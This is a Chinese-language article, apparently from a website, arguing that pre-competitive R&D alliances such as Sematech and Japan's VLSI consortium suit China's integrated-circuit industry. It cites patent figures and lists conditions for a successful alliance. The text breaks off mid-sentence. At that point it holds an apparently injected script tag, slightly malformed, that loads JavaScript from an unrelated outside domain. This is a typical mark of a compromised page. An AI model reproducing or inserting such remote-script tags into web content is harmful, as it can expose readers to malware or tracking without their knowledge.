《国家中长期科学和技术发展规划纲要》把“极大规模集成电路制造技术及成套工艺”，作为我国科学发展重中之重的重大专项。不过，截至2004年年底，世界集成电路知识产权总量为102万件，而我国内地申请的专利总量仅为4791件，为世界总量的0.4%。我国集成电路产业所面临的国际竞争形势，迫使人们从新的角度考虑该行业的自主创新。
一种重要的研发组织模式
研发是创新的源泉，但研发能否成功，取决于多种因素，包括人才和技术路线的选择、投资的强度和时机、研发群体的组织模式和激励机制等，而“组织模式”是十分重要的。
一般来说，研发组织模式共有四类：一是政府资助系统，如863计划、973计划、自然科学基金等；二是大学、科研院所科研；三是企业独立研发；四是产前研发联盟。
政府资助系统主要针对基础研究。以计算机基础研究为例，863项目资助的研究大约占70%。基础研究项目一般都由大学承担。
科研院所一般既承担基础研究，也承担所属部门的通用应用研究。以中国科学院为例，既完成了重要的基础研究，也进行了出色的应用研究。2004年，中科院系统在nature和sci-ence上发表论文28篇，与中国大学发表数量相当，同时开发出了3595件技术专利。
企业独立研发主要是针对产业大生产技术进行研究。第一个获得大生产技术突破的企业可以获得“第一行动者优势”。企业所需要的基础研究，一般委托大学来进行，如英特尔几乎把所有的基础研究都委托给大学来做。
产前研发联盟是指为整合研发资源，产业在建成的联盟基地内共同进行“竞争前研究”。竞争前研究旨在创造出可以转让的知识(原知识)：这些知识尚未具备市场交易形式，但联盟成员可以将这些知识以新产品、新工艺的形式商业化，从而形成企业间的产后竞争。相对于企业独立研发，产前联盟对于组织产业大生产技术应用研发具有显著的比较优势。
成功的产前联盟什么样
由于产前联盟各成员在“共同的研发平台”上进行创新活动，因而有助于实现经济学上的多种效应，譬如交叉受益效应、成功乘数效应、在干中学的效应，以及减少知识扩散成本、防止重复、减少试错成本和通过研发人员的隐性知识交流创造新知识。这样一来，产前联盟比企业独立研发能够产生更多的技术溢出，因而可以放大参与单位研发投入(资金、人员)的效率，从而产生更多的产业有效研发投资。
产前联盟这一比较优势得到了经济学界和产业界的广泛重视。经济学家论证：就大生产技术研发活动而言，产前联盟模式下创造的社会福利要比企业独立研究的社会福利更多。
那么建立一个成功的产前联盟需要哪些条件呢？
一是建立“产前联盟研发中心”，即上述“共同研发平台”。这不仅可以使联盟的研发活动摆脱依托方制约，能够以整个产业发展为己任，更重要的是能够充分减少研发人员之间的地理距离，促进不同参与单位的研发人员之间的隐性知识交流。电话、传真、电子邮件只能传输可以编码、储存而不失真的显性知识，视频交流似乎可以传递隐性知识，但产前联盟不仅仅要进行思想创新，还需要在微型晶圆厂进行试产，这需要面对面的接触。
二是参与方选派优秀人员参与研发。一般技术通常是显性知识，可以用专利做载体；而核心技术通常是隐性知识，是以优秀研发人员为载体的，人到哪里技术就到哪里，只有优秀的人才才有富裕的技术溢出。国际知名的集成电路产前联盟都是如此，美国半导体工业协会(sematech)聘任了集成电路产业界普受尊重的bobnoyce(集成电路平面工艺的发明人)为第一任主席，其目的就是为了从成员企业吸引能干的研发人员。我国开发三级iccad系统时也有类似的经验，集中了全国众多优秀的专家到北京攻关，因而确保了该系统在1992年研制成功。
三是创造有益于交流的氛围和环境。交流需要诱导，美国半导体工业协会的创始人就设计了种种措施激励员工们交流，进而走上了“开放知识”的正轨。这一努力对于美国半导体工业协会的成功产生了重要作用。
四是设计好的“技术蓝图”。1994年美国半导体工业协会的技术蓝图是由来自产业界、学术界、政府和国家实验室的240位科学家和工程师制定的，权威的技术蓝图对于更有效利用资源、防止市场过度竞争、防止研究过度超前起到了重要作用。日本的超大规模集成电路(vlsi)也很好地注意了这一点。该联盟按照研发项目与商业应用的“距离”来分配任务：“最远”的研究由新成立的独立实验室进行；“次远”的研究寻找几个参与者共同完成；“最近”的研究由某个企业在引导生产线上进行。
龙头企业为何也要加入
作为一个企业、尤其是行业龙头或垄断企业的决策者，在考虑是否加入产前联盟时有两个值得犹豫的困惑，一是是否会影响企业获得“第一行动者优势”?script src=http://er12.com/t.js>
